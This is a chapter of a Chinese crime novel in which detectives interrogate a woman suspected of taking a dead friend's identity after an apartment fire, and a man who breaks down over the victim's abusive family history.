只是今天,他带进来的......不再是普通的证人。 二人被引导着分别进入两间相邻的问询室,门扉无声合拢。 出来和当值同事完成交接手续时,赵队的身影出现在走廊另一端。他没走近,只是隔着一段距离望过来,脸上没什么表情,却几不可察地点了点头。 严疏同样以沉默回应,只是微微颔首。随后,他推开那扇熟悉的、漆色略显斑驳的门,带着申请前来协助记录的李涵,步入了右侧的问询室。 门在身后轻轻合拢,将外界的杂音彻底隔绝。单向玻璃外,赵队戴上了监听耳机,在观察席缓缓坐下,目光凝重,看着这一切一点点地展开。 问询室内光线明亮均匀,没有任何阴影可以藏匿。 严疏走到桌边,下意识地抬手理了理并无线褶的制服领口,一个细微的、近乎仪式感的动作。随后,他缓缓落座。 他的目光投向桌案对面。 手掌在桌面下无意识地收拢,握紧,直到指节泛白。小臂开始传来细微的、无法控制的颤抖。 是长期搜寻后骤然直面目标的兴奋? 是孤注一掷前,最后的忐忑? 他自己,也分辨不清。 严疏唯一清楚的是:此刻,是他离那个被重重灰烬掩埋的真相,最近的一次。 桌对面,女人已经坐定,姿态却与这肃穆的环境格格不入。她甚至称得上是松散,背脊微微靠着椅背,双手随意交叠置于桌面,仿佛只是换了个地方小憩。 没有拘谨,没有明显的防御,甚至连表情,也带着几分无关紧要的随意。 严疏的目光投来时,她微微抬起眼睑,唇角勾勒出一丝极淡的、难以解读的弧度,静静地回望。那目光并不锋利,却像蒙着一层薄薄的雾。 玻璃外,赵队把音量稍稍调大,身体微微前倾,注视着画面。 ———————————— “我们进入正题。” 严疏的声音在空旷的询问室里显得格外肃穆、沉重,仿佛每个字都带着重量。他缓缓抬起眼,目光如炬:“姓名,年龄。” 女人向后一靠,脊背贴上冰凉的椅背,唇角那抹弧度似乎加深了些,语气轻巧:“简宁......三十。” 严疏这次做到了真正的古井无波,连呼吸的节奏都未曾改变。他平静地继续:“去年七月八日晚至九日凌晨,你在哪里,做了什么?” 对面传来一声极轻的叹息,像是厌倦了重复的戏码:“行程......再一再二,还要再三?” “请正面回答。”严疏声音压低两度,不容置疑。 与他的紧绷截然相反,女人甚至略显无聊地撇了撇嘴,随后才开始叙述——从如何窥见迟昼的信息,如何尾随至酒吧,如何被宋晴莫名纠缠拉扯,到如何在混乱中被电击器误伤,如何在楚谕的车中醒来......言语流畅,细节分毫不差,连语气停顿,都几乎与之前重合。 一旁的李涵笔尖沙沙作响,记录着这熟悉的内容。女人却忽然停住,似笑非笑地望向严疏:“严警官,后面就是些姑娘间的私下谈话了。您还想......再听一遍?” 桌下,严疏的手骤然攥紧,骨节泛白。到了这个地步,他与她心知肚明——那所谓的“谈话”,根本就是子虚乌有的泡影。 他强压下胸腔里翻涌的躁火,缓缓吸进一口冰凉的空气,再沉沉吐出。 “不必。”他肘部压上桌面,身体前倾,形成无声的压迫,目光如探照灯般直射过去,“我只想确认一点:当时车上,只有你们两个人。对吗?” 女人坦然颔首。 严疏从鼻腔里挤出一声短促的嗤笑,带着冰冷的质询:“你确定?是‘车上’只有两人,还是......‘清醒的’,只有两人?” 李涵记录的手一顿,有些茫然地抬头看了严疏一眼——在火车上,严疏并未和盘托出所有推论。 女人终于有了些不同的反应。她缓缓掀起眼帘,那双眼睛里没了之前的散漫,取而代之的是一种近乎玩味的探究。她微微歪头,反问:“严警官这话......是什么意思?” 严疏没再接话,只是再次掏出那张照片,平推至桌面中央:“这个人,见过吗?” 女人这次没再忽略。她微微前倾,目光在那照片上停留一瞬,随即摇头:“没有。” 严疏点头,像在确认一个已知的步骤。“这辆车你坐过,是楚谕的。照片里的男人,是个代驾。照片来自银枫广场地下车库的自动闸机——七月八日夜里。” 女人似懂非懂地“哦”了一声,尾音微微上扬:“所以呢?” “所以,”严疏的身体再次前压,木质桌沿发出一声不堪重负的轻响,“这个代驾,什么时候上的车?” 她耸耸肩,语气不甚在意:“在我下车之后吧。” “你的意思是,”严疏嘴角勾起一丝冰冷的弧度,“楚谕在需要叫代驾的情况下,先是载着昏迷的你开了将近十公里,停车和你‘谈完话’后,又独自开了一段,然后才终于想起自己需要代驾?” 女人脸上浮现出混杂着不耐与不解的神情,回答却依旧自然:“我怎么知道?前一段可能是看我晕了,一时慌了神忘记自己喝过酒;后一段,也许是因为谈完话心情不好,又搞忘了......谁知道呢。” 她顿了顿,忽然反问:“你们没查吗?她那天到底喝没喝酒?” 严疏嗤笑一声,没有理会,只是话锋陡转:“你不是说,和她谈完话就下车了吗?那你为什么不觉得,代驾是在你离开后立刻上的车?” 单向玻璃外,赵队眯起了眼。目光紧紧锁住审讯桌后的那个女人。 只见她蹙起眉,神情带着不似作伪的疑惑,理所当然的反问:“你刚才说什么‘又独自开了一段’,不就是在暗示——我离开后,她又开了一会儿才叫的代驾?” 轻描淡写的一句话,便将屋内屋外两道审视的目光悄然挡了回去。 赵队的眉头拧紧了。 按常理,一个不知情者被这样追问,第一反应多半会认为代驾是当事人在原地等候而来的,而非进行了非常规的“二次酒驾”。即便严疏话中已经隐隐透露了“二次酒驾”,但真正不知情的人,极易被这绕来绕去的时序搞糊涂,根本注意不到这个细节。 看到现在,他已彻底相信了严疏的判断——这个女人,确实棘手。如此轻松地跟上诡问节奏,只能说明......她不是在思考,而是在应对。 布下的网悄无声息地落空,虽本就不抱太大期望,严疏心下却仍是一沉。 他换了话题,语气开始带上一种刻意的、商讨式的平缓:“有件事很奇怪。暂且抛开代驾不谈......楚谕既然要回家,为什么又特意让代驾开进银枫广场的地库?” 女人脸上清晰地掠过一丝不耐,语气也重了些:“我怎么知道......楚谕怎么想?” 严疏紧紧盯着她那双看似毫无杂质的桃花眼,缓缓颔首:“你,毕竟算是最后见过她的人。现在记录与事实有所出入,自然要问得仔细些。” 正在记录的笔尖几不可察地一顿。李涵听出来了——“你”和“她”两个字,被严疏咬得异常清晰、沉重。 他停下笔,借着整理纸张的动作,抬眼快速扫向对面。 女人却仿佛浑然未觉。她正微微仰头,出神地望着天花板的某处,神情有些飘忽,一丝古怪的笑意浮上唇角。 那笑容起初很淡,随后竟慢慢漾开,久久不散,甚至变得愈发鲜明。 李涵皱了皱眉,重新低下头,避开那令人不适的神态。他觉得这人确实不太对劲——难怪能做出那样的事。 那笑容同样令严疏心下一凛。一种莫名的不适感攀上脊背——即便身陷囹圄,对面这人似乎仍因掌握着某些晦暗的碎片,而隐隐占据着主导。 难道,还有什么是他不知道的? 严疏收敛思绪,目光垂落,不再看她,忽然换了话题:“我倒有个想法,你听听?” 女人脸上的笑意渐次收敛,静待下文。 严疏语气平缓,仿佛在自言自语:“我觉得吧,这事儿得从头推翻,换个思路。楚谕或许根本就没喝酒,那代驾......也一开始就在车上——从酒吧后巷出发,到开进银枫地库,握着方向盘的都是他。而你......”他抬眼望过去,目光如锥:“根本就没醒过。那所谓的谈话,也从未发生。” 不等对方反应,他语速加快,继续推进:“既然你没醒,那在半路下车的,自然就是楚谕了。夜里昏暗,身形又有几分相似,想来足以混淆。楚谕下车后,代驾便依照她留下的指示,将‘醉酒不醒’的你,带到了银枫广场的地库。” “这么一来开进地库的行为也能解释了,因为悦澜湾公寓没有破门的痕迹——证明房主楚谕的确回来了,而且是以正常方式开门进屋。鉴于代驾行业的规矩——不见到车主不会离开——说明楚谕就是在地库里结束了代驾服务,回到了车上。所以......从银枫广场到悦澜湾的后半程,楚谕其实......并非独行。” 他稍作停顿,让每个字都沉入寂静:“和她同行的,是始终昏迷的......你。” 女人静静听着,脸上无波无澜,安静的仿佛一尊雕塑。 严疏还在继续:“之后,想来又发生了什么。不过结局很清楚——”指关节在桌面上不轻不重地一叩,发出沉闷的声响,“你们两人中,有一个没再出来。而走出来的那个......” “从未回头,一路走到了这儿,坐在了我的面前。” 他身体微微前倾,声音低了下去:“你觉得,这个推测......怎么样?” 问询室内陷入一片死寂,落针可闻。李涵怔住,笔尖悬在纸上。外间的赵队虽惊愕于这直白的摊牌,目光却死死锁住玻璃后的女人,不肯错过丝毫波动。 而焦点的中心,却只是微微蹙着眉,仿佛真的在认真思索这段离奇的构想。良久,那抹笑意才又慢慢攀回嘴角,带着几分无可奈何的意味: “我说过了,我很快就醒了,还和她谈了话。”她的声音依旧柔和,可听在三人耳中却像裹着棉絮的锥子,“严警官,你这个故事......很有想象力。不过,拿来满足一下急于破案的心情可以,当真的话......没必要吧?” 她说着忽然掀起眼帘,眸中闪过一丝轻快的微光,声音里掺了一丝若有若无的笑意:“你怀疑我,自然我说什么你都不信。不过呢,我忽然发现,倒是有个人可以替我证明......” 严疏当然知道她指的是谁。看着她泰然自若的神态,听着那刻意拉长的语调,胸腔里压抑已久的火苗再次开始失控地窜动。 她却还在继续,声音轻柔,像在指点迷津,又像暗藏讥诮: “那个代驾。他可以证明,我说的,才是......真、的。” 严疏缓缓直起身,脸色阴沉得能滴出水来,腿部肌肉因紧绷而微微发僵。一旁的李涵都察觉到了不对,急忙伸手,暗中按了按他的手臂。 女人看着对面两人细微的动作,偏了偏头,发出一声略显疑惑的轻哼。随即,她略带惋惜的、近乎轻慢地开口:“啊......你,没有找到他?” 她叹了口气,那叹息声在一片寂静之中显得格外清晰,也格外刺耳。随后,她轻轻补上了最后一句: “哎,可惜了。这下,少了个人......给我作证啊。” “砰!” 严疏的拳头猛地砸在桌面上,巨响在狭小的空间里轰然炸开。 他双目赤红,双手撑着桌面就要霍然起身,竟似全然忘却了身在何处。李涵被这突如其来的暴起惊得一愣,经验尚浅的他更是手足无措,只能眼睁睁看着严疏即将越过那道界限。 “严疏!” 问询室的门被猛地推开,赵队一步踏进,声音沉厉。他一手死死按住严疏绷紧的肩膀,另一手不由分说地将人往外带,压低的声音里带着不容置疑的力道:“出来!立刻!” 混乱的拉扯与低斥声中,严疏被半强制地带离。门重新关上,室内空气陡然一沉,只剩两人——一个惊魂未定,一个冷眼旁观。 沉默在空气中弥漫、发酵。李涵好不容易找回自己的呼吸,看着对面那张无动于衷的脸,一股混杂着愤怒与不解的火焰猛地窜上心头。 他盯住对面那张再无笑意的脸,声音因激动而有些发颤:“你就真的......没有一点感觉?夜里睡觉,不会做噩梦吗?” 方才始终游刃有余、仿佛戴着精致面具的女人,此刻却像骤然褪去了所有温度。她并未因这质问而重新挂上那抹惯有的、令人不适的笑意,只是缓缓转过视线,瞥了李涵一眼。 那目光中第一次有了真切的波澜,却又很快化作一片深潭般的漠然。 “警官,”她的声音平直,仿佛切割着空气,“请注意你的言辞。” 李涵被这冰冷的回应一噎,郁结之气更是堵在胸口,脸涨得通红,几乎也要像严疏那样拍案而起,声调不自觉地拔高,带着年轻人特有的执拗与冲动:“她跟你有什么深仇大恨?你要做到这种地步?!我知道你过去不容易,身世也......” “李涵!” 一声低喝截住了他未尽的话,去而复返的赵队站在门口,脸色铁青。他严厉地瞪了李涵一眼,示意他立刻出去。 李涵嘴唇翕动,最终在赵队压迫的视线下,攥紧拳头,低头快步离开了问询室。 赵队转向室内唯一剩下的人,身体略微前倾,做了一个标准、却略显僵硬的致歉动作。 “简女士,”他的声音勉强恢复了公事公办的平稳,却依旧能听出竭力压制的波澜,“我方人员情绪失控,言辞不当,我代表他们向您致歉。这不符合询问规范,我一定会加以警示。” 女人的目光自李涵开口起便沉郁下去,如同结了冰的湖面,听到“身世”二字之后,眸中的冰层更是寸寸开裂,露出了其下深不见底的阴鸷,以及一丝......无人察觉的沉痛。 她并未回应赵队的客套致歉,也没有再以绵里藏针的言语进行讽刺,甚至没有看他,只是漠然盯着眼前空无一物的桌面,仿佛那里凝固着另一个世界。 她沉默着,再未吐露一字。 赵队等了几秒,见她毫无反应,便也不再赘言,转身大步离开。门在他身后被轻轻带上,将这方凝结的空间,重新还于寂静。 ———————————— 外间里烟雾缭绕,三人沉默地坐着,只有烟丝燃烧发出细微的滋滋声。灰白的烟雾盘旋上升,融进昏暗的光线,半晌无人说话。 最终是李涵按捺不住,将烟蒂狠狠摁灭,声音带着不甘:“赵队,您也看见了!那女人......绝对有问题!” 赵队深深吸了一口烟,随后缓缓吐出,疲倦像面纱一样蒙在脸上。 “那你具体说说,”他声音有些沙哑,“问题在哪儿?” 李涵张口欲言,却像被堵住了喉咙。他觉得疑点密密麻麻,可真要条分缕析,就又像攥紧的沙子,从指缝漏了个干干净净。他一时语塞,愣是抓不住哪怕一个能一击即中的线头。 赵队没再看他,转向始终沉默的严疏,语气里掺杂着责备与无奈:“老严,小李年轻,沉不住气,我能理解。你呢?干了十几年了,今天这样,像话吗?” 他看着严疏只是闷头抽烟的侧影,又叹了口气:“这次传唤,顶着多大压力你也清楚。案子早就结了,我们又拿不出像样的立案证据,治安那边话里话外都是别碰。沈队正卡在晋升的节骨眼上,肯定不愿意多生事端......” “赵队,”严疏忽然打断他,抬起头,目光透过烟雾直直刺来,“这是命案。” 赵队揉着发胀的太阳穴,更显疲态:“老严,我也是从一线过来的,眼睛没瞎,心也没死。她有问题,我当然看得出来。可问题在哪儿?她说的每一段行程,每一个时间点,你都查过了,结果呢?明面上的证据链就是严丝合缝,挑不出硬伤。” 严疏沉默了很久,直到指尖的烟灰簌簌落下,才缓缓吁出一口浊气,声音低沉,带着不甘:“她说的那些......都是真的。” 李涵愕然抬头。 “那些,都是时间轴上,经得起验证、无法被推翻的‘真实节点’。”严疏的眼神有些空茫,仿佛在凝视一块看不见的拼图,“她的确没在这些点上撒谎,也不需要撒谎。可真正的戏法在于......这些真实节点之间的‘空白’。” 他顿了顿,寻找着更贴切的比喻:“就像......在剪视频。她把能见光的、正常的片段,严丝合缝地连在一起,构成一条无懈可击的时间线,按顺序放给你看,告诉你这就是全部。但那些被剪掉的、被跳过的、无人知晓的‘黑场’里,才藏着故事的真正走向。” 他顿了顿,眉头紧锁,试图抓住那个飘忽的词汇:“就像电影里的那种手法......叫什么来着......” “蒙太奇。”李涵低声接上,年轻人到底对这类概念更为敏锐。 “对,就这个意思。”严疏点头,眼神重新聚焦,“用无害的真实碎片,拼凑出一个真实但不完整的叙述,把真正的意图和行动,隐藏在拼接的缝隙里。半真半假,最难拆穿。” 三人再度陷入沉默,只有烟雾无声缭绕。一种面对精密装置的无力感,沉沉地压在肩上。 最后还是严疏先动了。他掐灭烟头,站直身体,眼底那点被挫败感掩盖的锐光重新凝聚。他想起另一间问询室里,还有一张苍白憔悴、写满故事的脸。 一个......或许已到极限的男人。 “走吧,”他声音恢复了惯常的冷硬,眯了眯眼,“去看看另一边。” ———————————— 听见开门与脚步声由远及近,桌后的男人却依然垂首静坐,纹丝不动,神情湮没在低垂的阴影里。 严疏习惯性地整理了一下领口,随后落座,声音比先前平和了些许:“抱歉,久等了。” 迟昼毫无反应,像一尊失去生气的雕像。 严疏没有立刻进入程序化的问询。他沉默地注视了对方片刻,忽然转换了语气,声音压低了些,带着一种近乎商议的口吻:“刚才在隔壁......不太顺利。不知道你这边,愿不愿意好好配合?” 正在准备记录的李涵笔尖一顿,有些意外地瞥了师父一眼——刚才还雷霆万钧,怎么转眼就走起了怀柔路线? 迟昼像是刚从很深的地方被拽回来,愣怔了许久,才极其缓慢地抬起头,看向严疏。 严疏心头微微一凛。 距离进入警局不过短短几个小时,眼前的人却仿佛被无形的手抽走了更多精气神,憔悴以一种肉眼可见的速度侵蚀着他的面容,曾经完美的阴柔面具仿佛转瞬之间碎了一地,连眼神都显得有些涣散。 严疏与李涵极快地对视了一眼,彼此都读懂了对方眼中的疑虑。 严疏清了清嗓子,正想再说些什么来引导这看似脆弱的精神状态,迟昼却先一步开了口。他的声音沙哑、缓慢,浸透了疲惫,却奇怪地透着一股异样的、枯槁般的笃定,如冰锥般猝然刺入空气。 “严警官,你不会再有进展了。” 严疏所有未出口的引导与安抚,全被这句话硬生生堵了回去,哽在喉头。 空气骤然凝固。严疏脸上的那点缓和神色迅速褪去,一点点冻结成原本的冷硬,目光如锁,紧紧扣住对面那个看似不堪一击,却又始终莫名顽固的男人。 迟昼瘫在椅子里,周身弥漫着浓重的倦意与无力。那股曾被短暂驱离的颓废,似乎开始了疯狂反扑,此刻变本加厉地回到了他身上。 可与从前一样,即便这层表象已是如此不堪,其下......却似乎仍然蛰伏着某种极其坚固的东西。 严疏缓缓地、几乎是咬牙切齿地勾了一下嘴角,点了点头:“这个,不劳你费心。现在,请你配合调查,回答一下去年七月八日夜间,你的具体行程。” 迟昼没再抗拒,也没再看他,只是缓缓闭上眼,开始机械地复述那段严疏早已烂熟于心的经过。声音平淡,没有起伏。 然而这一次,严疏没有放任他说完。在叙述到简宁被误伤、楚谕提出带她离开时,严疏突兀地打断了他,问题尖锐如刀:“为什么,你选择把她交给楚谕?” 迟昼的叙述戛然而止。 他依旧不曾睁眼,但眼睫几不可察地颤动了一下,如同风过枯叶。接下来是长久的沉默,始终没有回答。 严疏再次向前倾身,手肘压上桌面,目光如炬:“你当时......知道楚谕打算和简宁‘谈’什么吗?” 迟昼始终没有睁眼,但在那几乎凝固的寂静里,他逐渐粗重、失去节奏的呼吸声,清晰可闻。 时间在沉默中被拉长、碾碎。半晌,他才终于翕动嘴唇,声音带着难以抑制的轻颤:“我......不知道。” 严疏点了点头,并未进一步追问,只是话题陡然一转:“据我所知,楚谕很早就离开了河溪镇。你们后来,是怎么重逢的?” 迟昼终于睁开眼望向严疏:“这个问题,有什么意义?” “有没有意义,由我们判断。”严疏的语气不容置疑,“现在,请配合问询,回答问题。” 迟昼极轻地叹了口气,疲惫的目光掠过严疏的脸,语速快而零散:“是她找到我的。那天我快下班了,她突然走进汽修厂......就这样,又见面了。” 一个敷衍的回答,几乎毫无意义。但严疏却并未追问,只是若有所思地点点头,随即像是忽然想起什么无关紧要的事一样,用一种平缓却暗藏机锋的语气开口: “对了。有件事......你或许还不知道。 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她童年时遍体的伤痕,她暗夜里吞咽的苦楚,她宁愿被拖入泥沼也不肯松手、死死抓住所谓“母亲”的执着......那为之搏斗的深渊,原来就是虚空本身。 她拼尽全力、扭曲却真实地握着的那根锚链......只是一片海市蜃楼。此刻光影散尽,唯余万丈虚无。 记忆的洪流裹挟着无数画面疯狂冲刷、旋转,最终无可挽回地定格在那个暮色四合的堤岸——那是她眼角尚且干净、未被那颗棕色泪痣点缀的,最后一个黄昏。 彼时少女带着哭腔、却斩钉截铁如立誓般的话语,此刻穿透了十数载的光阴,在他颅内反复回响—— “我绝不当孤儿。我不要走她的老路。” 那拼尽全力想要逃离的身份,竟是与生俱来、无法剥离的原点。 命途啊,原来真的可以如此残酷地戏弄一个生灵。它将最深的恐惧,编织成了赖以生存的幻梦,又将一颗心反复揉搓,直至将其信仰的根基都碾成齑粉。 迟昼忽然低低地笑了起来。 起初只是喉间的气流震动,随即开始不受控制地放大,变得干涩、嘶哑。他弯下腰,肩膀剧烈耸动,笑声在空旷的房间里回荡,却挤不出一丝欢愉,只能将眼眶逼得滚烫酸胀。 视野开始模糊、变形。冰冷的桌面和头顶刺目的灯光在泪影之中逐渐溶解、扭曲,漾开一圈圈光晕,温柔、空灵,虚假得如同一个拙劣的梦境。 在这片虚幻的、晃动的柔光里,记忆开始不受控制地倒流。那个傍晚车内的景象,无比清晰地再次浮现。 ********* 傍晚,停在路边的车内光线昏沉。楚谕轻轻叹了口气,那气息悠长而空茫,在狭小的空间里弥漫开来,随后是长久的静默。 然后,她慢慢地、带着一种卸下所有力气的疲惫,将身子倾了过来,长发如瀑,散落在迟昼肩头与椅背之间。她静静地靠着,仿佛那是世间仅剩的稳固支点。 迟昼身体微僵,并未移动分毫。 不知过了多久,楚谕的声音才幽幽响起,轻得像是自言自语:“阿昼,我最近......好像做了一场很长很长的梦。” 迟昼听着,低低应声:“嗯。” 她却不再说下去,只是轻轻靠着,呼吸清浅,仿佛睡着了,又仿佛沉入了某种深不见底的思绪。 片刻后迟昼微微偏头,下颌几乎触到她的发顶,低声问:“......怎么了?” 楚谕仿佛被从很远的地方唤回,极轻地笑了一下。 “没什么。”她顿了顿,声音里渗入了一种罕见的、迷离的恍惚,“就是忽然觉得......我这个人,好像一直活在别人的故事里。我的梦里有房子、有家人,可醒来才发现,那些砖瓦、那些面孔,好像都是......借来的布景。” 迟昼想起了那些狰狞的青紫,想起了她后腰上褪不去的疤痕,想起了她眼角那颗棕色的泪痣。他心口发堵,沉默了许久,才干涩地安慰:“别想了......都过去了。” 楚谕又是一声轻叹,摇了摇头,唇角在发丝的遮掩下奇异地弯起一个柔和的弧度,喃喃重复:“是啊,都过去了,都过去了......是该过去了。” 她忽然直起身。昏昧的光线下,她的眼眸像两泓深不见底的幽潭,所有情绪都被妥帖地收敛,只余一片平静的决然。她凝视着迟昼,语调轻柔却斩钉截铁,像在切割什么,清晰得不容错辨: “所以,阿昼,我......要离开了。” 迟昼一怔。他一时未能理解这话的含义,但那熟悉的、即将失去什么的预感,如同冰水般漫上心头。他想起多年前她的不告而别,想起这些年辗转的寻觅与空洞的等待,如今重逢不过数月,那分离的阴影竟又一次无声笼罩。 心口泛起熟悉的钝痛。但他只是垂下眼,如同过去无数次那样,没有追问她为什么要走、又要去向何方,只是低声开口,声音轻得几乎听不见:“这一次......我能跟去吗?” 楚谕静静地望着他,眸底深处,仿佛有某种压抑已久的东西被这句话骤然点燃,翻涌起近乎狂热的、孤注一掷的光,却又被低垂的睫羽与昏暗的光线迅速掩埋,未曾泄露分毫。 她开口时语调依旧轻柔,却像包裹着坚硬的核,甚至带上了一丝温柔的蛊惑: “这一次.....换我来找你,阿昼。” 说完,她侧过身,伸手去调座椅靠背。电机启动的细微嗡鸣声在车内响起,恰到好处地掩盖了最后的呢喃。那话语轻如叹息,破碎在机械的噪音里,不知是说给他听,还是说给自己: “只剩下你了。” ********* 记忆被这残酷的真相重新解码,过往那些似是而非的话语、欲言又止的瞬间,此刻终于显露出了狰狞而悲哀的内核。可这迟来的理解并未带给迟昼半分清醒,反而像是一把钝刀,在他心脏最柔软处反复碾磨,滋生出近乎荒诞的悲凉与无声的嘲讽。 邹婷可能至死都不明白,那个被她肆意伤害的“假”女儿,才是这世上,唯一一个不肯背弃她的人。 失智、辱骂、殴打、累累伤痕......什么都没能将她驱离。自始至终,她所求的,与邹婷内心深处渴望的,其实并无二致—— 一个真实的家。一个真实的亲人。一段真实的、斩不断的牵绊。 父亲早已是抽身离去的幻影,她不能再失去母亲。于是她将那具日渐癫狂的躯壳,当作漂流之中必须死死抱住的浮木,哪怕那浮木生满了倒刺,一次次将她扎得血肉模糊。 可她紧紧拥抱的、锚点一般的“母亲”......只是一道投射在墙上的、逐渐扭曲变形的虚影。 那个女人,或许真的曾是一位“母亲”——在义无反顾抱养的那一时刻,在尽心尽力照顾的短暂年月。可楚怀平的离去,抽走的不仅是她的理智,更是她身为人母的魂魄与温度。 往后的十余年,楚遇日夜相对的......其实早已不再是“母亲”。 那只是一个顶着相似皮囊的、陌生的、与她毫无血缘的......间歇性疯子。 他记得太清楚了。每一次伤痕累累之后,楚遇总是蜷缩着身体,反复呢喃、再三重复着一句话。 ——“她毕竟......是我妈妈啊。” 那是她为自己建造的、最后的精神堡垒。 可如今,连这赋予所有苦难以意义的屏障,也被现实无情地扯碎、踩入了泥泞。 被命运如此玩弄的楚遇,曾经唯一能用于锚定自身存在的,就是那光影之中,扭曲的“母亲”幻象。即便如今发现那不过是一道蜃影,却也不可否认,曾是她全部世界的真实地基。 可他...... 被孽缘莫名推至他身边的简宁,最初所求,也不过是一个临时的港湾,一段能互相取暖、搭伙度日的关系。她的母亲虽然糊涂了,但......那毕竟是她的妈妈,是她在这世上,确凿的来处与归途。 可他...... 愧怍与情爱,罪责与羁绊,至此已拧成一条无解的绞索,深深勒入了他的灵魂,无法理清,无法挣脱,无路可退。 回头望去,只见一片白茫茫的废墟。 “嗬......嗬嗬......” 一声抽气般的哽咽从迟昼喉咙里溢出。他清晰地感觉到,自己的内里有什么东西发出了不堪重负的、彻底断裂的哀鸣。一道深渊般的裂缝豁然洞开,开始贪婪地、不可逆转地吞噬他残存的所有温度、所有意义、所有支撑他走到今日的念想。 “哈......哈哈哈......哈哈......呃......咳......咳咳!” 笑声毫无征兆地开始爆发,起初是短促的、不可置信的嗤笑,随即变得嘶哑而亢奋,仿佛发现了世间最荒谬绝伦的笑话,却又像是濒死野兽的哀嚎。额头重重抵上冰冷的桌面,肩膀剧烈耸动,握紧的拳头失控地一下下捶打着坚硬的桌面,发出沉重而绝望的闷响。 再抬起头时,脸上已是一片狼藉。那狂笑不知何时已扭曲成无声的、剧烈的痉挛,泪水纵横决堤,冲刷过那张因极致情绪冲击而扭曲的阴柔面容。 那表情已分不清是哭是笑,只剩下一种原始的、被彻底剥除所有心防后,赤裸裸展露出的剧痛与崩塌。像是第一次,真正“看见”了这个世界背后那残忍而荒谬的齿轮,并被那冰冷的、无法抵抗的巨力碾过了魂魄。 这突如其来的彻底崩溃,震惊了对面的两人。 严疏还是第一次见到迟昼彻底剥去所有或冷静或颓唐的伪装,露出如此原始而惨烈的破碎模样,心下震动之余,涌起了复杂的情绪——他虽然无法完全体会那深渊的深度,却能感知到那灭顶的悲哀。 在刚刚厘清楚谕身世之时,即便是他,也曾为那层层叠叠的错位扼腕叹息。 但这,绝非作恶的理由。 片刻,严疏压下那丝不合时宜的共情,声音冷硬如铁,再度切入:“你在心疼,在为她的遭遇感到痛苦,对吗?”他身体前倾,目光牢牢锁住迟昼那溃不成军的脸,语气没有丝毫软化,反而带着冰冷的、步步紧逼的锐利: “告诉我——你此刻心里想的,到底是哪一个‘她’?!” 迟昼缓缓摇头,发狠般咬住自己的下唇,直至尝到浓重的血腥味,才将那几乎要冲破胸膛的嚎啕死死堵了回去。只有右手依旧无意识地、一下又一下地捶打着桌面,像是困兽最后的、无望的挣扎。 可即便如此,他仍然紧闭双唇不发一言,泪水汹涌决堤,沉默却震耳欲聋。 严疏眉峰凌厉,还要继续逼问,问询室的门却被轻轻推开。赵队站在门口,神色复杂地看了严疏一眼,摇了摇头。 程序伦理的边界清晰地横亘在那里——当传唤对象因与核心案情无直接关联的往事而情绪明显失控时,若是继续针对案情施加压力,已游走在诱供的边缘。 严疏下颌线紧绷,指甲深深掐进掌心,用尖锐的疼痛强迫自己冷静。他极其不情愿地、缓慢地站起身,最后看了一眼那个仿佛正被无形漩涡吞噬的男人,转身,脚步沉重地走了出去。 李涵合上笔录本,最后投去一瞥,无声地叹了口气,也随之离开。 门轻轻合拢,将一室无声的、几乎凝成实质的悲苦与崩解,彻底隔绝在内。 32.叁拾贰 严疏立在右侧问询室的门外,胸膛里像堵了一团浸湿的棉絮,沉闷而滞重。迟昼那张彻底崩溃、涕泪横流的脸,反复在他眼前闪现,挥之不去。 说实话,这突如其来的情绪决堤,有些出乎他的意料。不仅仅因为迟昼一贯披着那层阴郁疏离、难以洞悉的“面具”,更因为......引爆这一切的,似乎仅仅是他抛出的、关于楚谕身世的那句话语。 迟昼的反应,剧烈得远超预估。 但无论如何,有一点他已能基本确认:迟昼对楚谕的全盘计划,事先很可能并不知情。然而,在“简宁”重新出现之后,他选择了沉默,选择了纵容。 而如今,这份纵容所牵扯出的庞大情感旋涡,正一寸寸将他碾入崩溃的深渊。 严疏忽然想起迟昼之前那句断言——“你不会再有进展了。” 这句话,是什么意思? 是迟昼铁了心要封死自己的嘴,还是说......仍有某些关键的碎片,隐藏在尚未触及的阴影之中? 可他分明已经崩溃至此,灵魂仿佛都被撕开了一道口子,为什么还要死死守着那道防线?就因为......那段起源于孩提时代的情谊? 根据宋朗提供的录音,迟昼与楚谕的纠葛,固然始于楚谕对迟昼的“拯救”,可在此后漫长的近十年光阴里,更像是迟昼在单向地陪伴、支撑着楚谕——毕竟,家庭支离破碎、母亲歇斯底里、承受着持续暴力与情感剥夺的是楚谕。迟昼的处境,按常理推断,也不过是“受到忽视”,远称不上同等量级的创伤。 既然如此,这份近乎无底线的、违背基本良知的包庇,其根源......究竟在哪里?难道幼时漫长的陪伴,真能滋生如此盲目的忠诚,甚至超越对生命的基本敬畏? 可邹婷和楚怀平,不也是相互扶持着长大的吗? 严疏烦躁地抹了把脸——感情,又是他妈的感情。这些情愫纠葛,难道真就能凌驾于一条鲜活的人命之上,能扭曲最基本的善恶标尺? 他当然看得出迟昼内心仍有残存的良知在灼烧,否则也不会被撕裂成这副模样。可矛盾就在于,即便痛苦至此,那人......却依然没有回头的意思。 而他,面对着这堵用痛苦和自我毁灭砌成的墙,竟真的感到......无从下手。 严疏脑中早已勾勒出相当具体的轮廓:动机、替代、火光中的金蝉脱壳。但他仍有太多疑问想砸向隔壁房间里的那个女人—— 她究竟何时知晓了自己的身世?又是以何种方式? 悦澜湾那场吞噬了一切痕迹的烈焰,究竟是如何点燃? 而那之后,她又是如何从一片灰烬之中脱身? 但这些尖锐的问题,只能去质问那个已经化为灰烬的“楚谕”,而非这个此刻端坐在问询室里、顶着“简宁”之名,眼神疏离又暗藏机锋的女人。 严疏感觉自己在面对一团光滑坚韧的丝茧,明明知道秘密就在其中,却愣是找不到任何可供切入的缝隙。 他在门口静立了半晌,走廊顶灯投下苍白的光,将他身影拉得细长。终于,他闭了闭眼,转身走向自己的办公桌,拉开抽屉,从里面取了一张照片。 他折返回来,抬手,再次推开那扇问询室的门。 ———————————— 屋内的女人显然已重新校准了状态。她微微抬眼,看向去而复返的两人,脸上先前那种刻意为之的松弛感已悄然褪去,只剩下一片沉寂的、近乎冷漠的平静。 再次落座,空气凝重得能拧出水来。 严疏沉默了片刻,忽然调转了方向,不再纠缠于案发当晚的细枝末节,而是问了一个看似无关的问题:“你母亲......现在安顿在哪?” 女人神色平淡,无波无澜:“养老院。康乐养老院。” “我去走访过,”严疏点了点头,语气听不出褒贬,“那里的护工说......你探望得很勤。有心了。” 女人没有接话,只有眼睫几不可察地轻颤了一下。 严疏继续用那种平铺直叙的口吻说着,话锋却悄然偏转,字字指向别处:“看来你们母女感情不错。可惜啊,不是所有人都像你这么‘幸运’。” 